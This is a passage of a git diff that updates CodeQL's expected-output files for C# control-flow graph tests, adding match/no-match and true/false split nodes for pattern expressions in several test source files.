[false] ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:5:10:5:11 | M1 | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:23:17:23:22 | break; | Patterns.cs:5:10:5:11 | M1 | @@ -5712,25 +5727,36 @@ blockEnclosing | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:5:10:5:11 | M1 | | Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:47:24:47:25 | M2 | | Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:50:24:50:25 | M3 | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:50:24:50:25 | M3 | | Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:53:24:53:25 | M4 | | Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:56:26:56:27 | M5 | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:61:18:61:24 | "other" | Patterns.cs:56:26:56:27 | M5 | | Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:65:26:65:27 | M6 | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:65:26:65:27 | M6 | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:65:26:65:27 | M6 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | M2 | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:10:10:10:11 | M2 | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:17:10:17:11 | enter M3 | PostDominance.cs:17:10:17:11 | M3 | | PostDominance.cs:17:10:17:11 | exit M3 | PostDominance.cs:17:10:17:11 | M3 | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:17:10:17:11 | M3 | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:17:10:17:11 | M3 | | PostDominance.cs:20:45:20:53 | nameof(...) | PostDominance.cs:17:10:17:11 | M3 | | PostDominance.cs:21:9:21:29 | ...; | PostDominance.cs:17:10:17:11 | M3 | | Qualifiers.cs:7:16:7:21 | enter Method | Qualifiers.cs:7:16:7:21 | Method | @@ -5847,6 +5873,8 @@ blockEnclosing | Switch.cs:158:13:158:49 | ...; | Switch.cs:154:10:154:12 | M15 | | Switch.cs:160:13:160:49 | ...; | Switch.cs:154:10:154:12 | M15 | | TypeAccesses.cs:3:10:3:10 | enter M | TypeAccesses.cs:3:10:3:10 | M | +| TypeAccesses.cs:7:13:7:22 | [false] ... is ... | TypeAccesses.cs:3:10:3:10 | M | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:3:10:3:10 | M | | TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:3:10:3:10 | M | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:3:10:3:10 | M | | VarDecls.cs:5:18:5:19 | enter M1 | VarDecls.cs:5:18:5:19 | M1 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index c89d35533a5..384c01fc520 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -2820,7 +2820,8 @@ | Patterns.cs:8:13:8:13 | access to local variable o | Patterns.cs:8:13:8:13 | access to local variable o | normal | | Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:8:13:8:23 | ... is ... | false | | Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:8:13:8:23 | ... is ... | true | -| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:18:8:23 | Int32 i1 | normal | +| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:18:8:23 | Int32 i1 | match | +| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:18:8:23 | Int32 i1 | no-match | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:10:13:10:42 | call to method WriteLine | normal | | Patterns.cs:10:13:10:42 | call to method WriteLine | Patterns.cs:10:13:10:42 | call to method WriteLine | normal | | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:10:13:10:42 | call to method WriteLine | normal | @@ -2833,7 +2834,8 @@ | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:12:18:12:18 | access to local variable o | normal | | Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:12:18:12:31 | ... is ... | false | | Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:12:18:12:31 | ... is ... | true | -| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:23:12:31 | String s1 | normal | +| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:23:12:31 | String s1 | match | +| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:23:12:31 | String s1 | no-match | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:14:13:14:45 | call to method WriteLine | normal | | Patterns.cs:14:13:14:45 | call to method WriteLine | Patterns.cs:14:13:14:45 | call to method WriteLine | normal | | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:14:13:14:45 | call to method WriteLine | normal | @@ -2845,7 +2847,8 @@ | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:16:18:16:18 | access to local variable o | normal | | Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:16:18:16:28 | ... is ... | false | | Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:16:18:16:28 | ... is ... | true | -| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:23:16:28 | Object v1 | normal | +| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:23:16:28 | Object v1 | match | +| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:23:16:28 | Object v1 | no-match | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:17:9:18:9 | {...} | normal | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:23:17:23:22 | break; | normal [break] (0) | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:26:17:26:22 | break; | normal [break] (0) | @@ -2914,8 +2917,10 @@ | Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:9:51:21 | ... is ... | false | | Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:9:51:21 | ... is ... | true | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | normal | -| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:14:51:21 | not ... | normal | -| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:18:51:21 | null | normal | +| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:14:51:21 | not ... | match | +| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:14:51:21 | not ... | no-match | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:18:51:21 | null | match | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:18:51:21 | null | no-match | | Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:25 | access to parameter c | normal | | Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:51:25:51:30 | ... is ... | normal | | Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:30:51:30 | 1 | normal | @@ -2936,7 +2941,8 @@ | Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:13:60:17 | not ... | match | | Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:13:60:17 | not ... | no-match | | Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:60:13:60:28 | ... => ... | normal | -| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:17:60:17 | 1 | normal | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:17:60:17 | 1 | match | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:17:60:17 | 1 | no-match | | Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:22:60:28 | "not 1" | normal | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | match | | Patterns.cs:61:13:61:24 | ... => ... | Patterns.cs:61:13:61:24 | ... => ... | normal | @@ -2945,9 +2951,10 @@ | Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:67:9:71:10 | return ...; | return | | Patterns.cs:67:16:67:16 | 2 | Patterns.cs:67:16:67:16 | 2 | normal | | Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:67:16:71:9 | ... switch { ... } | normal | +| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:69:13:69:17 | not ... | match | | Patterns.cs:69:13:69:17 | not ... | Patterns.cs:69:13:69:17 | not ... | no-match | | Patterns.cs:69:13:69:33 | ... => ... | Patterns.cs:69:13:69:33 | ... => ... | normal | -| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:17:69:17 | 2 | normal | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:17:69:17 | 2 | match | | Patterns.cs:69:22:69:33 | "impossible" | Patterns.cs:69:22:69:33 | "impossible" | normal | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | match | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:70:13:70:27 | ... => ... | normal | @@ -2963,7 +2970,8 @@ | PostDominance.cs:12:13:12:13 | access to parameter s | PostDominance.cs:12:13:12:13 | access to parameter s | normal | | PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:12:13:12:21 | ... is ... | false | | PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:12:13:12:21 | ... is ... | true | -| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:18:12:21 | null | normal | +| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:18:12:21 | null | match | +| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:18:12:21 | null | no-match | | PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:13:13:13:19 | return ...; | return | | PostDominance.cs:14:9:14:28 | call to method WriteLine | PostDominance.cs:14:9:14:28 | call to method WriteLine | normal | | PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:14:9:14:28 | call to method WriteLine | normal | @@ -2975,7 +2983,8 @@ | PostDominance.cs:19:13:19:13 | access to parameter s | PostDominance.cs:19:13:19:13 | access to parameter s | normal | | PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:19:13:19:21 | ... is ... | false | | PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:19:13:19:21 | ... is ... | true | -| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:18:19:21 | null | normal | +| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:18:19:21 | null | match | +| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:18:19:21 | null | no-match | | PostDominance.cs:20:13:20:55 | throw ...; | PostDominance.cs:20:13:20:55 | throw ...; | throw(ArgumentNullException) | | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | normal | | PostDominance.cs:20:45:20:53 | nameof(...) | PostDominance.cs:20:45:20:53 | nameof(...) | normal | @@ -3412,7 +3421,8 @@ | TypeAccesses.cs:7:13:7:13 | access to parameter o | TypeAccesses.cs:7:13:7:13 | access to parameter o | normal | | TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:7:13:7:22 | ... is ... | false | | TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:7:13:7:22 | ... is ... | true | -| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:18:7:22 | Int32 j | normal | +| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:18:7:22 | Int32 j | match | +| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:18:7:22 | Int32 j | no-match | | TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:7:25:7:25 | ; | normal | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:8:13:8:27 | Type t = ... | normal | | TypeAccesses.cs:8:13:8:27 | Type t = ... | TypeAccesses.cs:8:13:8:27 | Type t = ... | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index af80244b25f..253885b6e1d 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -3518,9 +3518,10 @@ | Patterns.cs:7:20:7:23 | null | Patterns.cs:7:16:7:23 | Object o = ... | semmle.label | successor | | Patterns.cs:8:9:18:9 | if (...) ... | Patterns.cs:8:13:8:13 | access to local variable o | semmle.label | successor | | Patterns.cs:8:13:8:13 | access to local variable o | Patterns.cs:8:18:8:23 | Int32 i1 | semmle.label | successor | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:9:9:11:9 | {...} | semmle.label | true | -| Patterns.cs:8:13:8:23 | ... is ... | Patterns.cs:12:14:18:9 | if (...) ... | semmle.label | false | -| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:13:8:23 | ... is ... | semmle.label | successor | +| Patterns.cs:8:13:8:23 | [false] ... is ... | Patterns.cs:12:14:18:9 | if (...) ... | semmle.label | false | +| Patterns.cs:8:13:8:23 | [true] ... is ... | Patterns.cs:9:9:11:9 | {...} | semmle.label | true | +| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:13:8:23 | [false] ... is ... | semmle.label | no-match | +| Patterns.cs:8:18:8:23 | Int32 i1 | Patterns.cs:8:13:8:23 | [true] ... is ... | semmle.label | match | | Patterns.cs:9:9:11:9 | {...} | Patterns.cs:10:13:10:43 | ...; | semmle.label | successor | | Patterns.cs:10:13:10:42 | call to method WriteLine | Patterns.cs:20:9:38:9 | switch (...) {...} | semmle.label | successor | | Patterns.cs:10:13:10:43 | ...; | Patterns.cs:10:33:10:36 | "int " | semmle.label | successor | @@ -3529,9 +3530,10 @@ | Patterns.cs:10:38:10:39 | access to local variable i1 | Patterns.cs:10:31:10:41 | $"..." | semmle.label | successor | | Patterns.cs:12:14:18:9 | if (...) ... | Patterns.cs:12:18:12:18 | access to local variable o | semmle.label | successor | | Patterns.cs:12:18:12:18 | access to local variable o | Patterns.cs:12:23:12:31 | String s1 | semmle.label | successor | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:13:9:15:9 | {...} | semmle.label | true | -| Patterns.cs:12:18:12:31 | ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | semmle.label | false | -| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:18:12:31 | ... is ... | semmle.label | successor | +| Patterns.cs:12:18:12:31 | [false] ... is ... | Patterns.cs:16:14:18:9 | if (...) ... | semmle.label | false | +| Patterns.cs:12:18:12:31 | [true] ... is ... | Patterns.cs:13:9:15:9 | {...} | semmle.label | true | +| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:18:12:31 | [false] ... is ... | semmle.label | no-match | +| Patterns.cs:12:23:12:31 | String s1 | Patterns.cs:12:18:12:31 | [true] ... is ... | semmle.label | match | | Patterns.cs:13:9:15:9 | {...} | Patterns.cs:14:13:14:46 | ...; | semmle.label | successor | | Patterns.cs:14:13:14:45 | call to method WriteLine | Patterns.cs:20:9:38:9 | switch (...) {...} | semmle.label | successor | | Patterns.cs:14:13:14:46 | ...; | Patterns.cs:14:33:14:39 | "string " | semmle.label | successor | @@ -3540,9 +3542,10 @@ | Patterns.cs:14:41:14:42 | access to local variable s1 | Patterns.cs:14:31:14:44 | $"..." | semmle.label | successor | | Patterns.cs:16:14:18:9 | if (...) ... | Patterns.cs:16:18:16:18 | access to local variable o | semmle.label | successor | | Patterns.cs:16:18:16:18 | access to local variable o | Patterns.cs:16:23:16:28 | Object v1 | semmle.label | successor | -| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:17:9:18:9 | {...} | semmle.label | true | -| Patterns.cs:16:18:16:28 | ... is ... | Patterns.cs:20:9:38:9 | switch (...) {...} | semmle.label | false | -| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:18:16:28 | ... is ... | semmle.label | successor | +| Patterns.cs:16:18:16:28 | [false] ... is ... | Patterns.cs:20:9:38:9 | switch (...) {...} | semmle.label | false | +| Patterns.cs:16:18:16:28 | [true] ... is ... | Patterns.cs:17:9:18:9 | {...} | semmle.label | true | +| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:18:16:28 | [false] ... is ... | semmle.label | no-match | +| Patterns.cs:16:23:16:28 | Object v1 | Patterns.cs:16:18:16:28 | [true] ... is ... | semmle.label | match | | Patterns.cs:17:9:18:9 | {...} | Patterns.cs:20:9:38:9 | switch (...) {...} | semmle.label | successor | | Patterns.cs:20:9:38:9 | switch (...) {...} | Patterns.cs:20:17:20:17 | access to local variable o | semmle.label | successor | | Patterns.cs:20:17:20:17 | access to local variable o | Patterns.cs:22:13:22:23 | case ...: | semmle.label | successor | @@ -3601,11 +3604,13 @@ | Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:9 | access to parameter c | semmle.label | successor | | Patterns.cs:50:24:50:25 | exit M3 (normal) | Patterns.cs:50:24:50:25 | exit M3 | semmle.label | successor | | Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:51:18:51:21 | null | semmle.label | successor | -| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | semmle.label | true | -| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | semmle.label | false | +| Patterns.cs:51:9:51:21 | [false] ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | semmle.label | false | +| Patterns.cs:51:9:51:21 | [true] ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | semmle.label | true | | Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | exit M3 (normal) | semmle.label | successor | -| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:9:51:21 | ... is ... | semmle.label | successor | -| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:14:51:21 | not ... | semmle.label | successor | +| Patterns.cs:51:14:51:21 | [match] not ... | Patterns.cs:51:9:51:21 | [true] ... is ... | semmle.label | match | +| Patterns.cs:51:14:51:21 | [no-match] not ... | Patterns.cs:51:9:51:21 | [false] ... is ... | semmle.label | no-match | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:14:51:21 | [match] not ... | semmle.label | no-match | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:14:51:21 | [no-match] not ... | semmle.label | match | | Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:30:51:30 | 1 | semmle.label | successor | | Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | semmle.label | successor | | Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:25:51:30 | ... is ... | semmle.label | successor | @@ -3627,10 +3632,11 @@ | Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:56:26:56:27 | exit M5 (normal) | semmle.label | return | | Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:60:17:60:17 | 1 | semmle.label | successor | | Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:9:62:10 | return ...; | semmle.label | successor | -| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:22:60:28 | "not 1" | semmle.label | match | -| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:61:13:61:13 | _ | semmle.label | no-match | +| Patterns.cs:60:13:60:17 | [match] not ... | Patterns.cs:60:22:60:28 | "not 1" | semmle.label | match | +| Patterns.cs:60:13:60:17 | [no-match] not ... | Patterns.cs:61:13:61:13 | _ | semmle.label | no-match | | Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:58:16:62:9 | ... switch { ... } | semmle.label | successor | -| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:13:60:17 | not ... | semmle.label | successor | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:13:60:17 | [match] not ... | semmle.label | no-match | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:13:60:17 | [no-match] not ... | semmle.label | match | | Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:13:60:28 | ... => ... | semmle.label | successor | | Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:18:61:24 | "other" | semmle.label | match | | Patterns.cs:61:13:61:24 | ... => ... | Patterns.cs:58:16:62:9 | ... switch { ... } | semmle.label | successor | @@ -3641,8 +3647,8 @@ | Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:65:26:65:27 | exit M6 (normal) | semmle.label | return | | Patterns.cs:67:16:67:16 | 2 | Patterns.cs:69:17:69:17 | 2 | semmle.label | successor | | Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:67:9:71:10 | return ...; | semmle.label | successor | -| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:70:13:70:13 | 2 | semmle.label | no-match | -| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:13:69:17 | not ... | semmle.label | successor | +| Patterns.cs:69:13:69:17 | [no-match] not ... | Patterns.cs:70:13:70:13 | 2 | semmle.label | no-match | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:13:69:17 | [no-match] not ... | semmle.label | match | | Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | semmle.label | match | | Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:67:16:71:9 | ... switch { ... } | semmle.label | successor | | Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:27 | ... => ... | semmle.label | successor | @@ -3657,9 +3663,10 @@ | PostDominance.cs:11:5:15:5 | {...} | PostDominance.cs:12:9:13:19 | if (...) ... | semmle.label | successor | | PostDominance.cs:12:9:13:19 | if (...) ... | PostDominance.cs:12:13:12:13 | access to parameter s | semmle.label | successor | | PostDominance.cs:12:13:12:13 | access to parameter s | PostDominance.cs:12:18:12:21 | null | semmle.label | successor | -| PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:13:13:13:19 | return ...; | semmle.label | true | -| PostDominance.cs:12:13:12:21 | ... is ... | PostDominance.cs:14:9:14:29 | ...; | semmle.label | false | -| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:13:12:21 | ... is ... | semmle.label | successor | +| PostDominance.cs:12:13:12:21 | [false] ... is ... | PostDominance.cs:14:9:14:29 | ...; | semmle.label | false | +| PostDominance.cs:12:13:12:21 | [true] ... is ... | PostDominance.cs:13:13:13:19 | return ...; | semmle.label | true | +| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:13:12:21 | [false] ... is ... | semmle.label | no-match | +| PostDominance.cs:12:18:12:21 | null | PostDominance.cs:12:13:12:21 | [true] ... is ... | semmle.label | match | | PostDominance.cs:13:13:13:19 | return ...; | PostDominance.cs:10:10:10:11 | exit M2 (normal) | semmle.label | return | | PostDominance.cs:14:9:14:28 | call to method WriteLine | PostDominance.cs:10:10:10:11 | exit M2 (normal) | semmle.label | successor | | PostDominance.cs:14:9:14:29 | ...; | PostDominance.cs:14:27:14:27 | access to parameter s | semmle.label | successor | @@ -3670,9 +3677,10 @@ | PostDominance.cs:18:5:22:5 | {...} | PostDominance.cs:19:9:20:55 | if (...) ... | semmle.label | successor | | PostDominance.cs:19:9:20:55 | if (...) ... | PostDominance.cs:19:13:19:13 | access to parameter s | semmle.label | successor | | PostDominance.cs:19:13:19:13 | access to parameter s | PostDominance.cs:19:18:19:21 | null | semmle.label | successor | -| PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | semmle.label | true | -| PostDominance.cs:19:13:19:21 | ... is ... | PostDominance.cs:21:9:21:29 | ...; | semmle.label | false | -| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:13:19:21 | ... is ... | semmle.label | successor | +| PostDominance.cs:19:13:19:21 | [false] ... is ... | PostDominance.cs:21:9:21:29 | ...; | semmle.label | false | +| PostDominance.cs:19:13:19:21 | [true] ... is ... | PostDominance.cs:20:45:20:53 | nameof(...) | semmle.label | true | +| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:13:19:21 | [false] ... is ... | semmle.label | no-match | +| PostDominance.cs:19:18:19:21 | null | PostDominance.cs:19:13:19:21 | [true] ... is ... | semmle.label | match | | PostDominance.cs:20:13:20:55 | throw ...; | PostDominance.cs:17:10:17:11 | exit M3 (abnormal) | semmle.label | exception(ArgumentNullException) | | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | PostDominance.cs:20:13:20:55 | throw ...; | semmle.label | successor | | PostDominance.cs:20:45:20:53 | nameof(...) | PostDominance.cs:20:19:20:54 | object creation of type ArgumentNullException | semmle.label | successor | @@ -4049,9 +4057,10 @@ | TypeAccesses.cs:6:13:6:23 | ... as ... | TypeAccesses.cs:6:9:6:23 | ... = ... | semmle.label | successor | | TypeAccesses.cs:7:9:7:25 | if (...) ... | TypeAccesses.cs:7:13:7:13 | access to parameter o | semmle.label | successor | | TypeAccesses.cs:7:13:7:13 | access to parameter o | TypeAccesses.cs:7:18:7:22 | Int32 j | semmle.label | successor | -| TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:7:25:7:25 | ; | semmle.label | true | -| TypeAccesses.cs:7:13:7:22 | ... is ... | TypeAccesses.cs:8:9:8:28 | ... ...; | semmle.label | false | -| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:13:7:22 | ... is ... | semmle.label | successor | +| TypeAccesses.cs:7:13:7:22 | [false] ... is ... | TypeAccesses.cs:8:9:8:28 | ... ...; | semmle.label | false | +| TypeAccesses.cs:7:13:7:22 | [true] ... is ... | TypeAccesses.cs:7:25:7:25 | ; | semmle.label | true | +| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:13:7:22 | [false] ... is ... | semmle.label | no-match | +| TypeAccesses.cs:7:18:7:22 | Int32 j | TypeAccesses.cs:7:13:7:22 | [true] ... is ... | semmle.label | match | | TypeAccesses.cs:7:25:7:25 | ; | TypeAccesses.cs:8:9:8:28 | ... ...; | semmle.label | successor | | TypeAccesses.cs:8:9:8:28 | ... ...; | TypeAccesses.cs:8:17:8:27 | typeof(...) | semmle.label | successor | | TypeAccesses.cs:8:13:8:27 | Type t = ... | TypeAccesses.cs:3:10:3:10 | exit M (normal) | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/csharp7/IsFlow.expected b/csharp/ql/test/library-tests/csharp7/IsFlow.expected index f61853bd4de..18b1fa2615f 100644 --- a/csharp/ql/test/library-tests/csharp7/IsFlow.expected +++ b/csharp/ql/test/library-tests/csharp7/IsFlow.expected @@ -16,9 +16,10 @@ | CSharp7.cs:256:18:256:20 | "x" | CSharp7.cs:256:27:256:27 | access to local variable o | semmle.label | match | | CSharp7.cs:256:18:256:20 | "x" | CSharp7.cs:259:13:259:36 | case ...: | semmle.label | no-match | | CSharp7.cs:256:27:256:27 | access to local variable o | CSharp7.cs:256:32:256:40 | String s4 | semmle.label | successor | -| CSharp7.cs:256:27:256:40 | ... is ... | CSharp7.cs:257:17:257:45 | ...; | 